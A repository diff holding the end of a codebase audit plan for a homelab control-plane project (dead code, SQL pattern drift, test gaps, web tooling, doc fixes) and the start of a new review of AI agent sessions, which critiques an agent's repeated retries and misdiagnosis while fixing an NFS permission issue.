|
| `UpsertCurrentRelationship` | `internal/db/queries/relationships.sql:25` |
|
||||||
|
| `EndCurrentRelationship` | `internal/db/queries/relationships.sql:31` |
|
||||||
|
| `GetEntityBySlug` | `internal/db/queries/entities.sql:7` |
|
||||||
|
| `ListEntitiesCapped` | `internal/db/queries/entities.sql:30` |
|
||||||
|
| `GetEntityStatus` | `internal/db/queries/operations.sql:268` |
|
||||||
|
| `ListEntityStatus` | `internal/db/queries/operations.sql:17` |
|
||||||
|
| `UpdateSignalState` | `internal/db/queries/operations.sql:92` |
|
||||||
|
| `InsertApproval` | `internal/db/queries/operations.sql:212` |
|
||||||
|
| `InsertClassification` | `internal/db/queries/operations.sql:109` |
|
||||||
|
| `InsertFeedback` | `internal/db/queries/operations.sql:156` |
|
||||||
|
| `InsertSkill` | `internal/db/queries/operations.sql:204` |
|
||||||
|
| `ListEntityTypes` | `internal/db/queries/ontology.sql:1` |
|
||||||
|
| `ListRelationshipTypes` | `internal/db/queries/ontology.sql:4` |
|
||||||
|
| `ListLifecycleDefs` | `internal/db/queries/ontology.sql:7` |
|
||||||
|
| `WithTx` | `internal/db/sqlcgen/db.go` |
|
||||||
|
|
||||||
|
**Whole `relationships.sql` file is dead** — graph/relationship access is done
|
||||||
|
via raw inline SQL in `phase3.go` and `impl.go`. Either delete the queries or
|
||||||
|
migrate the inline SQL to use them.
|
||||||
|
|
||||||
|
### B.4 Pattern divergence — raw inline SQL vs sqlc
|
||||||
|
|
||||||
|
CONTRIBUTING §SQL says sqlc is the convention. ~50% of DB access bypasses it:
|
||||||
|
|
||||||
|
- `internal/httpapi/phase3.go:164,212,260,276,338,346,386,394,418,486,546,554,555,563,583` — raw `pool.Query/Exec` with inline SQL strings.
|
||||||
|
- `internal/httpapi/dashboard.go:21,39,59,96,117,123,144` — all raw inline SQL.
|
||||||
|
- `internal/httpapi/activity.go:81,148,185`, `learning_view.go:31,103` — raw inline SQL.
|
||||||
|
- `internal/httpapi/server.go:204`, `sse.go:112,142` — raw SQL (`LISTEN oikos_events`).
|
||||||
|
|
||||||
|
This is why the 17 queries above are dead — the equivalent logic is hand-written
|
||||||
|
inline. **Pick one DB-access pattern.** Recommendation: migrate inline SQL to
|
||||||
|
sqlc queries (deletes the dead queries' replacements and centralizes SQL).
|
||||||
|
|
||||||
|
### B.5 God files & functions (>800 lines / >100 lines)
|
||||||
|
|
||||||
|
Files (excluding generated):
|
||||||
|
- `internal/httpapi/phase3.go` — **2627 lines** (split by resource).
|
||||||
|
- `internal/mcp/server.go` — **1691 lines**.
|
||||||
|
- `internal/httpapi/impl.go` — **1639 lines**.
|
||||||
|
- `cmd/nomos/store.go` — **1472 lines**.
|
||||||
|
- `cmd/nomos/main.go` — 914 lines.
|
||||||
|
- `cmd/nomos/agent.go` — 861 lines.
|
||||||
|
- `internal/httpapi/server.go` — 842 lines.
|
||||||
|
- `cmd/desktop/main.go` — 784 lines.
|
||||||
|
- `internal/scheduler/scheduler.go` — 761 lines.
|
||||||
|
|
||||||
|
Functions (>100 lines, worst):
|
||||||
|
- `internal/mcp/server.go:67` `newServer` — **708 lines** (33 tools inline).
|
||||||
|
- `cmd/nomos/agent.go:187` `chatWith` — **405 lines**.
|
||||||
|
- `internal/httpapi/phase3.go:270` `executeApprovedAction` — **356 lines**, 5+
|
||||||
|
levels of nested switch/if, 8 duplicated `UPDATE executions SET
|
||||||
|
status=failed` error-bail blocks.
|
||||||
|
- `cmd/nomos/main.go:168` `handleChat` — 193 lines.
|
||||||
|
- `cmd/desktop/main.go:124` `startOIDCServer` — 182 lines.
|
||||||
|
- `internal/httpapi/dashboard.go:13` `GetDashboardSummary` — 160 lines.
|
||||||
|
- `internal/httpapi/impl.go:855` `CreateEntity` — 158 lines.
|
||||||
|
- `internal/httpapi/phase3.go:1366` `DecideApproval` — 156 lines.
|
||||||
|
- `internal/mcp/server.go:1264` `classifyAndGate` — 154 lines.
|
||||||
|
|
||||||
|
### B.6 `interface{}` vs `any`
|
||||||
|
|
||||||
|
Module is `go 1.26.3`; `any` is preferred. 409 `any` uses vs 11 `interface{}`.
|
||||||
|
The 11 are in `internal/mcp/server.go:1123,1131,1133,1581`,
|
||||||
|
`internal/httpapi/phase3.go:169,182`, and tests — all untyped-JSON unmarshaling.
|
||||||
|
**Replace with `any`** for consistency.
|
||||||
|
|
||||||
|
### B.7 Test coverage
|
||||||
|
|
||||||
|
CONTRIBUTING §Testing gates: policy + learning ≥ 80%, others ≥ 60%.
|
||||||
|
|
||||||
|
| Package | Tests | Status |
|
||||||
|
| ------- | ----- | ------ |
|
||||||
|
| `internal/learning` | 0 | ❌ violates 80% gate |
|
||||||
|
| `internal/actuator` | 0 | ❌ mutation code, untested |
|
||||||
|
| `internal/scheduler` | 0 | ❌ 761 lines of check logic |
|
||||||
|
| `internal/domain` | 0 | ❌ core types |
|
||||||
|
| `internal/notifier` | 0 | ❌ Matrix approval flow |
|
||||||
|
| `internal/knowledge` | 0 | ❌ seed ingestion |
|
||||||
|
| `internal/observability` | 0 | ❌ |
|
||||||
|
| `internal/checkdefaults` | 0 | ❌ |
|
||||||
|
| `internal/policy` | 1 | ⚠️ covers `classify.go` only |
|
||||||
|
| `internal/db`, `httpapi`, `mcp`, `secrets`, `config`, `ontology`, `safego` | ✅ | OK |
|
||||||
|
| `cmd/nomos` | 3 | ✅ |
|
||||||
|
|
||||||
|
### B.8 Generated code & migrations — clean
|
||||||
|
|
||||||
|
- `internal/httpapi/gen/api.gen.go` and `internal/db/sqlcgen/*.go` all carry
|
||||||
|
`DO NOT EDIT` headers. No hand-edits detected.
|
||||||
|
- Migrations 001–020: sequential, no gaps, no down migrations, `embed.go`
|
||||||
|
present. ✅
|
||||||
|
|
||||||
|
### B.9 OpenAPI vs implementation drift
|
||||||
|
|
||||||
|
- `api/openapi.yaml` defines 46 paths.
|
||||||
|
- `internal/httpapi/` implements ~40 strict handlers + ~8 manually-registered
|
||||||
|
`chi.Get` routes (`serveRecentActivity`, `serveSessionDigest`,
|
||||||
|
`serveKnowledgeContent`, `serveRecentKnowledge`, `serveLearningTimeline`,
|
||||||
|
`serveLearningTrend`, `serveOIDC*`, `serveSSE`) that are **not in
|
||||||
|
`openapi.yaml`**.
|
||||||
|
- OpenAPI is therefore not the source of truth for ~8 routes (violates
|
||||||
|
CONTRIBUTING §OpenAPI codegen). **Add them to `openapi.yaml`** or document
|
||||||
|
the carve-out.
|
||||||
|
|
||||||
|
## C. Web SPA (`web/`)
|
||||||
|
|
||||||
|
`npm run build` succeeds with Svelte 5 warnings. 722 KB JS bundle (222 KB
|
||||||
|
gzip), no code splitting.
|
||||||
|
|
||||||
|
### C.1 Tooling gaps — fixed in this pass + R8
|
||||||
|
|
||||||
|
- `package.json` had only `dev`/`build`/`preview`. **Added** `check`
|
||||||
|
(`svelte-check`), `typecheck` (`tsc --noEmit`), and `lint` scripts, plus
|
||||||
|
`svelte-check` + `typescript` devDeps. Run `npm install` to pick them up.
|
||||||
|
- **R8 added:** `eslint` (flat config) + `eslint-plugin-svelte` +
|
||||||
|
`typescript-eslint` + `globals`; `prettier` + `prettier-plugin-svelte`;
|
||||||
|
`vitest` (jsdom env) with a sample test (`src/lib/utils.test.ts`, 6 tests).
|
||||||
|
New scripts: `lint`, `lint:fix`, `format`, `format:check`, `test`,
|
||||||
|
`test:watch`. Vitest config wired into `vite.config.ts` via
|
||||||
|
`/// <reference types="vitest/config" />`.
|
||||||
|
- **CI:** new `web` job in `.gitea/workflows/ci.yml` runs `npm ci`,
|
||||||
|
`npm run check` (advisory), `npm run lint` (advisory),
|
||||||
|
`npm run format:check` (advisory), `npm run test` (gate),
|
||||||
|
`npm run build` (gate). Advisory steps use `continue-on-error: true`
|
||||||
|
until the lint/check baseline is clean — matching the existing
|
||||||
|
`golangci-lint` advisory pattern.
|
||||||
|
- **Known baseline:** svelte-check reports 154 pre-existing errors (133
|
||||||
|
files, "No Svelte configuration found in vite config" cascade — not
|
||||||
|
caused by R8); eslint reports 126 errors + 12 warnings (unused vars,
|
||||||
|
`@html` XSS, unused CSS); prettier reports 175 unformatted files. These
|
||||||
|
are real findings surfaced by the new toolchain — fixing them is a
|
||||||
|
follow-up cleanup task.
|
||||||
|
|
||||||
|
### C.2 Dead code — the tool-renderer registry (21 files, ~1.5k lines)
|
||||||
|
|
||||||
|
`src/main.ts:25` lazy-imports `./lib/renderers`, which runs `renderers/index.ts`
|
||||||
|
calling 10 `init*()` functions that each `registerToolRenderer(...)`. But
|
||||||
|
**`getToolRenderer` is never called anywhere**. The whole subsystem is dead:
|
||||||
|
|
||||||
|
- `src/lib/tool-renderers.ts`
|
||||||
|
- `src/lib/renderers/index.ts`
|
||||||
|
- `src/lib/renderers/{blast-radius,change-log,entity-card,entity-table,execution-status,fleet-snapshot,health-summary,knowledge-results,lxc-list,metric-chart}.ts` (10)
|
||||||
|
- `src/lib/renderers/{BlastRadius,ChangeLog,EntityCard,EntityTable,ExecutionStatus,FleetSnapshot,HealthSummary,KnowledgeResults,LXCList,MetricChart}.svelte` (10)
|
||||||
|
|
||||||
|
**Either wire it up or delete all 21 files.** Note: `HealthSummary.svelte:30`
|
||||||
|
emits a `state_referenced_locally` Svelte 5 warning — dead code generating
|
||||||
|
lint noise.
|
||||||
|
|
||||||
|
### C.3 Dead components, stores, deps
|
||||||
|
|
||||||
|
Dead Svelte components (never imported outside self/comments):
|
||||||
|
- `src/lib/components/ToolCallGroup.svelte`
|
||||||
|
- `src/lib/components/PlanProgress.svelte`
|
||||||
|
- `src/lib/components/GoalHeader.svelte` (only in a comment)
|
||||||
|
- `src/lib/components/InlineApproval.svelte` (only in a comment)
|
||||||
|
- `src/lib/components/SessionDigest.svelte` + its API fn `fetchSessionDigest`
|
||||||
|
(`src/lib/api.ts:354,363`) — dead chain.
|
||||||
|
|
||||||
|
Dead store exports (written, never read):
|
||||||
|
- `src/lib/stores/context.ts:10` `pendingApprovals`
|
||||||
|
- `src/lib/stores/events.ts:18` `connectionState`
|
||||||
|
|
||||||
|
Dead npm deps:
|
||||||
|
- `mode-watcher` (`package.json:16`) — 0 imports; superseded by
|
||||||
|
`src/lib/stores/theme.svelte.ts`.
|
||||||
|
- `@internationalized/date` (`package.json:12`) — 0 imports.
|
||||||
|
|
||||||
|
Naming collision: `src/lib/components/EntityTable.svelte` (live) vs
|
||||||
|
`src/lib/renderers/EntityTable.svelte` (dead) — same filename, easy to grab
|
||||||
|
the wrong one.
|
||||||
|
|
||||||
|
### C.4 Type safety
|
||||||
|
|
||||||
|
No `@ts-ignore`/`@ts-expect-error`. But `any` is pervasive in the SSE/event
|
||||||
|
plumbing — defining an `OikosEvent` discriminated union would eliminate ~15
|
||||||
|
`any` sites:
|
||||||
|
|
||||||
|
- `src/lib/api.ts:32,107` — `ChatEvent.data: any`, interface `data: any`
|
||||||
|
- `src/lib/stores/chat.ts:58-59` — `ToolCallResult.args?: any; result?: any`
|
||||||
|
- `src/lib/stores/activity.ts:73-74` — `(t.args as any)?.seq`
|
||||||
|
- `src/lib/stores/workspace.ts:68,83,104,152` — `data: any`, `as any`, `s: any`
|
||||||
|
- All 10 dead renderers use `(tool.result as any).data` + `as any[]`
|
||||||
|
- `src/pages/Config.svelte:57,74` — `(window as any).wails`, `catch (e: any)`
|
||||||
|
- `src/lib/utils.ts:45,47` — `T extends { child?: any }`
|
||||||
|
- `vite.config.ts:18-24` — `proxy: any`, `proxyReq: any`
|
||||||
|
|
||||||
|
Missing return types on exported functions: `src/lib/utils.ts:4` (`cn`),
|
||||||
|
`src/lib/config.ts:23,42,50`, `src/lib/tool-renderers.ts:11`,
|
||||||
|
`src/lib/stores/context.ts:18`, `src/lib/stores/events.ts:23,46`,
|
||||||
|
`src/lib/stores/chat.ts:98,185,422,448,469`, `src/lib/oidc.ts:270`.
|
||||||
|
|
||||||
|
### C.5 Svelte 5 idioms — mostly clean
|
||||||
|
|
||||||
|
- `export let`: 0. `$:` labels: 0. `on:click`: 0. `createEventDispatcher`: 0.
|
||||||
|
`<slot>`: 0 real usage. ✅ App is cleanly on runes.
|
||||||
|
- Mix of `svelte/store` classic stores (`stores/{activity,chat,context,events,workspace}.ts`) and `.svelte.ts` runes modules (`theme`, `is-mobile`, sidebar context). Deliberate but could be unified.
|
||||||
|
- `src/lib/components/ActivityTimeline.svelte:103` — `<svelte:component>` is
|
||||||
|
**deprecated in runes mode**; components are dynamic by default. Replace with
|
||||||
|
direct `{@const Comp = icon}{<Comp .../>}` or inline.
|
||||||
|
- `src/lib/components/DetailSection.svelte:18` — `let open = $state(defaultOpen)`
|
||||||
|
triggers `state_referenced_locally`; wrap in `$derived`/init via `$effect` if
|
||||||
|
reactivity to `defaultOpen` is intended.
|
||||||
|
|
||||||
|
### C.6 Build/config
|
||||||
|
|
||||||
|
- `vite.config.ts:6-14` — reads `../VERSION` or `./VERSION`; **no fallback if
|
||||||
|
both missing** — `readFileSync('VERSION')` throws and crashes `vite
|
||||||
|
build`/`dev` silently. Add a fallback or a build-time check.
|
||||||
|
- `vite.config.ts:38-50` — `server.proxy` hardcodes `localhost:8090` (API) and
|
||||||
|
`localhost:8092` (nomos). Not env-driven.
|
||||||
|
- `vite.config.ts:31-34` — `define: { __OIKOS_VERSION__: ... }` global is used
|
||||||
|
in `src/lib/version.ts:1` but its declaration in `vite-env.d.ts` should be
|
||||||
|
verified.
|
||||||
|
- Bundle warning: single 722 KB JS chunk. Add `build.rollupOptions.output.
|
||||||
|
manualChunks` or route-level dynamic imports.
|
||||||
|
|
||||||
|
### C.7 Hardcoded values
|
||||||
|
|
||||||
|
- `src/lib/oidc.ts:117` — `http://127.0.0.1:18901/oidc/start` (desktop OIDC
|
||||||
|
broker port). Magic number, no constant.
|
||||||
|
- No tokens/secrets in `src/`. Auth via `localStorage`/OIDC. ✅
|
||||||
|
- 4 `fetch()` calls, all via `apiBase(...)`. No hardcoded hosts in fetch. ✅
|
||||||
|
|
||||||
|
### C.8 Accessibility
|
||||||
|
|
||||||
|
Generally decent (aria-label, role="button", tabindex, keyboard handlers).
|
||||||
|
Gaps:
|
||||||
|
- `src/pages/Chat.svelte:182` — bare `×` dismiss button missing `type="button"`.
|
||||||
|
- `src/lib/components/{SessionGraph,EntityGraph}.svelte` — SVG `<g role="button">`
|
||||||
|
nodes keyboard-activatable but no `aria-label` (node identity not announced).
|
||||||
|
- `src/pages/Chat.svelte:107` — scroll container has no `role="log"`/`aria-live`
|
||||||
|
for streamed messages.
|
||||||
|
|
||||||
|
## D. Documentation
|
||||||
|
|
||||||
|
### D.1 Stale references — fixed in this pass
|
||||||
|
|
||||||
|
- `AGENTS.md:115-117` — **ghost of retired `request_execution`**. Second `run`
|
||||||
|
bullet listed the retired enum actions and contradicted the retire notice
|
||||||
|
above it. Deleted.
|
||||||
|
- `AGENTS.md:148` — referenced `knowledge/wiki/` (does not exist); corrected to
|
||||||
|
`archive/knowledge/`.
|
||||||
|
- `README.md:116` — broken link to `plans/2026-07-12-wails-desktop-app.md`
|
||||||
|
(moved to `plans/done/`). Fixed.
|
||||||
|
- `.agents/OIKOS.md:103` — broken link to
|
||||||
|
`../plans/2026-07-06-consolidate-oikos-control-plane-onto-mac-mini.md`
|
||||||
|
(in `plans/done/`). Fixed.
|
||||||
|
- `.agents/operations/commands.md:52` — broken link with extra `/archive/`
|
||||||
|
segment. Fixed.
|
||||||
|
- `.agents/operations/commands.md:85` — broken link to wails plan. Fixed.
|
||||||
|
- `.agents/shared/page-templates.md:12` — listed `HERMES.md` (renamed to
|
||||||
|
`NOMOS.md` per ADR 0012). Fixed.
|
||||||
|
|
||||||
|
### D.2 Brittle counts — fixed in this pass
|
||||||
|
|
||||||
|
Replaced hardcoded rot-prone numbers with pointers to the source of truth:
|
||||||
|
- `AGENTS.md:45-46` — "36 documents, 6 investigations, 12 runbooks" → pointer
|
||||||
|
to `seeds/knowledge.yaml`.
|
||||||
|
- `AGENTS.md:165` — "33 MCP tools" → "see §3 for the current tool list".
|
||||||
|
- `AGENTS.md:195,203` — "as of 2026-07-12" point-in-time dates removed.
|
||||||
|
- `.agents/OIKOS.md:108` — "migrations/ (001–011)" → "(001–020, forward-only)".
|
||||||
|
- `.agents/OIKOS.md:111-112` — duplicate brittle counts → pointer.
|
||||||
|
- `.agents/OIKOS.md:142` — "15 MCP tools" → pointer to AGENTS.md §3.
|
||||||
|
- `README.md:52` — "15 tools" → pointer.
|
||||||
|
|
||||||
|
Remaining brittle numbers (left as-is, intrinsic to evidence trail):
|
||||||
|
- `docs/mbse/README.md` carries many counts/dates as part of its audited
|
||||||
|
evidence trail. Recommend adding a "Last verified: YYYY-MM-DD" header to that
|
||||||
|
file and a scheduled re-verification (see §F).
|
||||||
|
|
||||||
|
### D.3 Substrate docs describing deleted Python architecture — fixed in R5
|
||||||
|
|
||||||
|
`.agents/domains/knowledge/schema.md` and `.agents/shared/llm-wiki.md` previously described
|
||||||
|
`bin/homelab`, `oikos/cards/`, `oikos/ledger.py`, root `inventory.yaml`, `knowledge/sources/`,
|
||||||
|
`get_page`/`search_docs` MCP tools — none of which exist. **Rewritten** for the DB-native model
|
||||||
|
(ADR 0003): DB is the single source of truth for both structured data and narrative knowledge;
|
||||||
|
`seeds/*.yaml` are the bootstrap+DR manifests; `archive/knowledge/` is the frozen legacy wiki;
|
||||||
|
MCP `search_knowledge`/`get_entity_knowledge` replace `get_page`/`search_docs`. Substrate refs in
|
||||||
|
`.agents/shared/{writing-style,page-templates}.md` and
|
||||||
|
`.agents/domains/operations/schema.md` swept clean. Root `inventory.yaml` marked deprecated
|
||||||
|
(stub points to `seeds/inventory.yaml` + DB; full on-client path reconciliation deferred to R13).
|
||||||
|
|
||||||
|
### D.4 ADR format
|
||||||
|
|
||||||
|
- 0001–0015 sequential, no gaps, indexed in `docs/adr/README.md`. ✅
|
||||||
|
- Template drift: `0013-signal-triggers.md` uses `## Overview` (no
|
||||||
|
Context/Decision/Consequences); `0014-entity-model.md` uses numbered
|
||||||
|
sections, no MADR template. Status-line format differs between 0001–0010/0015
|
||||||
|
(plain) and 0011–0014 (bold split). **Normalize** (low priority — ADRs are
|
||||||
|
immutable history; consider a formatting pass only).
|
||||||
|
|
||||||
|
### D.5 Plans — fixed in this pass
|
||||||
|
|
||||||
|
- Moved 4 "Done" 2026-07-14 plans from `plans/` to `plans/done/`
|
||||||
|
(session-reliability-and-ux-audit, tool-timeline-sidebar,
|
||||||
|
unified-agent-indicator, post-fix-session-remainders).
|
||||||
|
- Added 2 missing 2026-07-14 plans + 2 missing 2026-07-15 `done/` plans to
|
||||||
|
`plans/index.md`.
|
||||||
|
- Updated `plans/index.md` Done table to reflect the moves.
|
||||||
|
|
||||||
|
### D.6 Missing docs — fixed in this pass
|
||||||
|
|
||||||
|
- Created `docs/index.md` (top-level docs index, per `writing-style.md` §folder
|
||||||
|
READMEs).
|
||||||
|
- Created `docs/operations/README.md` (operations docs index).
|
||||||
|
|
||||||
|
### D.7 On-client path inconsistency
|
||||||
|
|
||||||
|
`AGENTS.md` uses `/opt/homelab-context/`; `CLIENTS.md` and `AGENTS.md:200`
|
||||||
|
itself use `/opt/homelab/`. **Pick one and use consistently** (recommend
|
||||||
|
`/opt/homelab/` per `CLIENTS.md:70-71`). Deferred — touches many lines and
|
||||||
|
the actual deployed path needs confirming against an enrolled client.
|
||||||
|
|
||||||
|
### D.8 Legacy root `inventory.yaml` — deprecated in R5
|
||||||
|
|
||||||
|
20387-byte Python-era file superseded by `seeds/inventory.yaml` on 2026-07-07. **Replaced with a
|
||||||
|
deprecation stub** pointing to `seeds/inventory.yaml` and the DB (ADR 0003). Kept as a stub rather
|
||||||
|
than deleted because AGENTS.md §1/§2 still point clients at `/opt/homelab-context/inventory.yaml`
|
||||||
|
(the on-client clone path); full path reconciliation is R13. `.agents/shared/*` and
|
||||||
|
`.agents/domains/*` references to bare `inventory.yaml` swept to `seeds/inventory.yaml` or
|
||||||
|
qualified as `archive/knowledge/` history.
|
||||||
|
|
||||||
|
## E. Build & tooling
|
||||||
|
|
||||||
|
### E.1 `Makefile`
|
||||||
|
|
||||||
|
- `make build` (`BINARY := oikos`) writes to `oikos/oikos` because `oikos/`
|
||||||
|
exists as a directory. Functionally works (gitignored) but confusing — the
|
||||||
|
gitignore comment says `bin/oikos`. **Recommend `BINARY := bin/oikos`** or
|
||||||
|
rename the directory.
|
||||||
|
- `Makefile:70` `desktop-package` hardcodes `sed 's/$$(VERSION)/0.1.0/'`. Fixed
|
||||||
|
in this pass to read from the `VERSION` file.
|
||||||
|
- `lint` target only runs `go vet` + optional `golangci-lint`. **Recommend
|
||||||
|
installing golangci-lint + staticcheck + govulncheck** in CI (none are
|
||||||
|
installed locally; CI config at `.gitea/workflows/ci.yml` should be checked).
|
||||||
|
|
||||||
|
### E.2 Desktop version hardcode — fixed in R6
|
||||||
|
|
||||||
|
`cmd/desktop/main.go:39` had `version = "0.1.0"` as a const while the repo is at `0.7.8`. Per
|
||||||
|
`CONTRIBUTING.md:54`, the auto-update feature compares against this value — so every release tag >
|
||||||
|
0.1.0 triggered a spurious update prompt. **Fixed:** `version` is now a `var` (default
|
||||||
|
`"0.1.0-dev"` fallback for bare `go build`), injected from the `VERSION` file at link time via
|
||||||
|
`make desktop` (`-ldflags "-X main.version=$(cat VERSION)"`). `CONTRIBUTING.md` updated to match.
|
||||||
|
|
||||||
|
### E.3 `Makefile` `BINARY` collision — fixed in R6
|
||||||
|
|
||||||
|
`BINARY := oikos` wrote to `./oikos`, which collided with the `oikos/` directory (Go's `-o oikos`
|
||||||
|
into a directory named `oikos` created `oikos/oikos`). **Fixed:** `BINARY := bin/oikos` (matches
|
||||||
|
the gitignore comment); `build` target ensures `bin/` exists; `clean` removes `bin/`. Stale
|
||||||
|
`oikos/` cruft directory removed.
|
||||||
|
|
||||||
|
## F. Recommendations (actionable, ordered)
|
||||||
|
|
||||||
|
| ID | Action | Effort | Risk |
|
||||||
|
| -- | ------ | ------ | ---- |
|
||||||
|
| R1 | Delete dead Go: `notifier.VerifyApprovalToken`, `httpapi/stubs.go`; unexport 4 `checkdefaults` symbols | S | Low | ✅ done (c3973e7) |
|
||||||
|
| R2 | Delete dead web: 21-file tool-renderer registry, 5 dead components, 2 dead store exports, 2 dead npm deps | S | Low | ✅ done (c3973e7+1) |
|
||||||
|
| R3 | Decide sqlc vs raw SQL: delete 17 dead queries OR migrate inline SQL to use them | M | Medium | ✅ done (hybrid: 8 deleted, 9 migrated) |
|
||||||
|
| R4 | Split `phase3.go` (2627 lines) into per-resource files; refactor `newServer` (708 lines) to a tool registry | M | Medium | ✅ done |
|
||||||
|
| R5 | Rewrite `.agents/domains/knowledge/schema.md` + `.agents/shared/llm-wiki.md` for the DB-native model; delete/deprecate root `inventory.yaml` | M | Low | ✅ done |
|
||||||
|
| R6 | Inject desktop `version` from `VERSION` via ldflags; fix `Makefile` `BINARY` colliding with `oikos/` dir | S | Low | ✅ done |
|
||||||
|
| R7 | Add tests for `learning` (80% gate), `actuator`, `scheduler`, `domain`, `notifier`, `knowledge` | L | Low | ✅ partial — pure unit tests added for all 6 packages; remaining coverage needs integration tests (`make test-db`) |
|
||||||
|
| R8 | Add `eslint`+`prettier`+`vitest` to `web/`; wire `svelte-check`+`tsc` into CI; add `web/` CI job | M | Low | ✅ done |
|
||||||
|
| R9 | Define `OikosEvent` discriminated union; eliminate ~15 `any` sites in web | S | Low | ✅ done |
|
||||||
|
| R10 | Replace `<svelte:component>` in `ActivityTimeline.svelte:103`; fix `state_referenced_locally` warnings | S | Low | ✅ done |
|
||||||
|
| R11 | Add the 8 manually-registered `serve*` routes to `openapi.yaml` (or document the carve-out) | S | Low | ✅ done — documented the carve-out |
|
||||||
|
| R12 | Add `docs/mbse/README.md` "Last verified" header + scheduled re-verification; normalize ADR 0013/0014 template | S | Low |
|
||||||
|
| R13 | Reconcile on-client path (`/opt/homelab/` vs `/opt/homelab-context/`) across AGENTS.md + CLIENTS.md | S | Low | ✅ done |
|
||||||
|
| R14 | Install `golangci-lint`/`staticcheck`/`govulncheck` locally + in CI | S | Low | ✅ done — `.golangci.yml` config + split Makefile targets |
|
||||||
|
|
||||||
|
## G. Verification
|
||||||
|
|
||||||
|
- `go vet ./...` — clean.
|
||||||
|
- `go build -tags timetzdata ./cmd/oikos` — clean.
|
||||||
|
- `go test -race -short ./...` — all tested packages pass.
|
||||||
|
- `npm run build` — succeeds with Svelte 5 warnings (listed §C.5).
|
||||||
|
- Doc fixes: all link targets verified to exist.
|
||||||
|
|
||||||
|
## H. What this commit changed
|
||||||
|
|
||||||
|
Applied (low-risk, reversible):
|
||||||
|
- Created this plan.
|
||||||
|
- Fixed 7 stale/broken doc references (AGENTS.md, README.md, OIKOS.md,
|
||||||
|
commands.md, page-templates.md).
|
||||||
|
- Removed 8 brittle hardcoded counts/dates; replaced with pointers to source.
|
||||||
|
- Created `docs/index.md` and `docs/operations/README.md`.
|
||||||
|
- Moved 4 done plans to `plans/done/`; reconciled `plans/index.md`.
|
||||||
|
- Added `check`/`typecheck`/`lint` scripts + `svelte-check` devDep to
|
||||||
|
`web/package.json`.
|
||||||
|
- Fixed `Makefile:70` `desktop-package` version substitution.
|
||||||
|
- Bumped `VERSION` 0.7.6 → 0.7.7.
|
||||||
|
|
||||||
|
Deferred (listed as recommendations R1–R14 above): all code deletions,
|
||||||
|
refactors, test additions, and the substrate-doc rewrite.
|
||||||
414
plans/2026-07-18-session-review-three-sessions.md
Normal file
414
plans/2026-07-18-session-review-three-sessions.md
Normal file
@@ -0,0 +1,414 @@
|
|||||||
|
# 2026-07-18 — Session review (three recent sessions)
|
||||||
|
|
||||||
|
**Status:** Implemented — P0.1, P0.2, P1.3, P1.4, P1.5, P1.6, P1.8, P2.10
|
||||||
|
landed in v0.7.12. P1.7 and P2.9 deferred (retry cap addresses the same
|
||||||
|
symptom at lower cost); see "Deferred" section at the bottom.
|
||||||
|
**Updated:** 2026-07-18 — session 1 continued after initial audit; outcome
|
||||||
|
upgraded from ⚠️ partial to ✅ success, root cause revised (knfsd kernel
|
||||||
|
lock, not gateway timeout). Implementation landed same day.
|
||||||
|
|
||||||
|
Review of the last three Nomos sessions against the protocol in
|
||||||
|
`.agents/skills/session-review/SKILL.md`. Data pulled from the local
|
||||||
|
sessions API (`http://localhost:8092/sessions`).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Session 1 — `1e9c7691` (2026-07-18T11:28)
|
||||||
|
|
||||||
|
**"Diagnose and fix ZimaOS folder move/delete failures on ludo-library"**
|
||||||
|
|
||||||
|
| Metric | Value |
|
||||||
|
|---|---|
|
||||||
|
| Messages | 13 (6 user / 7 assistant) |
|
||||||
|
| Tool calls | 97 across 7 turns |
|
||||||
|
| Top tools | `run` ×58, `update_plan_step` ×7, `get_execution_status` ×7, `search_knowledge` ×3, `list_entities` ×3, `get_entity` ×3, `whoami` ×2 |
|
||||||
|
| Objective | Diagnose and fix ZimaOS folder move/delete failures on the ludo-library NFS mount |
|
||||||
|
| Outcome | ✅ success — root cause found and fix applied; verified from ZimaOS |
|
||||||
|
| Severity | friction |
|
||||||
|
|
||||||
|
### What worked
|
||||||
|
- Root-cause analysis was fast and correct at the **NFS permissions** layer:
|
||||||
|
the export on `strong` uses `all_squash,anonuid=33,anongid=10000`, mapping
|
||||||
|
every NFS client to `www-data:media`. The export root `/mnt/media_local`
|
||||||
|
was owned `root:root / 755` while subdirs were `2775 media`. Subdir-level
|
||||||
|
ops worked, root-level (rename/delete top-level entries) failed.
|
||||||
|
- After the user prompted "the command just keeps running? does not
|
||||||
|
complete," the agent dug deeper and found the **real root cause**:
|
||||||
|
`knfsd` (kernel NFS server) holds a lock on actively-exported directories,
|
||||||
|
causing `chown` to hang indefinitely at the `fchownat()` syscall.
|
||||||
|
`strace -f chown :10000 /mnt/media_local` confirmed the hang point.
|
||||||
|
25+ zombie `chgrp`/`chown` processes had piled up from the session's
|
||||||
|
repeated attempts.
|
||||||
|
- The correct fix sequence was identified and applied: `killall -9 chgrp
|
||||||
|
chown` to clear zombies, then unexport → `chown :10000` + `chmod 2775`
|
||||||
|
→ re-export. Routed via SSH-hop from `host:hubris` (the `host:strong`
|
||||||
|
direct path kept timing out because the commands genuinely hang, not
|
||||||
|
because of a network issue).
|
||||||
|
- Verification was done from the client side: `touch`, `mv`, `rm`,
|
||||||
|
`mkdir`, `rmdir` all confirmed working at the NFS root from ZimaOS.
|
||||||
|
- Knowledge writeback was good: `upsert_knowledge` recorded an
|
||||||
|
`investigation` linked to `vm:zimaos`, `host:strong`, `pool:ludo-lvm`,
|
||||||
|
with the fix. `complete_task` was called with a clear summary.
|
||||||
|
- Plan lifecycle was followed: `set_goal` → `propose_plan` →
|
||||||
|
`update_plan_step` (running/done) → `complete_task`.
|
||||||
|
|
||||||
|
### What didn't
|
||||||
|
- **20+ blind retries before investigating why.** The agent retried the
|
||||||
|
same one-line `chown`/`chmod` roughly 20 times across direct runs,
|
||||||
|
SSH-hop-via-hubris, wrapping in a shell script, splitting into smaller
|
||||||
|
commands, and bare `echo test` sanity checks — all hung. Each retry
|
||||||
|
piled up another zombie process on `strong`. The agent only
|
||||||
|
investigated *why* the command hung after the user explicitly asked
|
||||||
|
"the command just keeps running?"
|
||||||
|
- **Misdiagnosed the timeout as a gateway/network issue.** The agent's
|
||||||
|
own narrative said "API seems to be struggling with timeouts," "API
|
||||||
|
keeps timing out on strong," "Strong mutations are consistently timing
|
||||||
|
out — read-only works." This framed the problem as the control plane,
|
||||||
|
when in fact the commands were genuinely hanging at the kernel level
|
||||||
|
on the target host. A `strace` on the first failure would have
|
||||||
|
revealed this immediately.
|
||||||
|
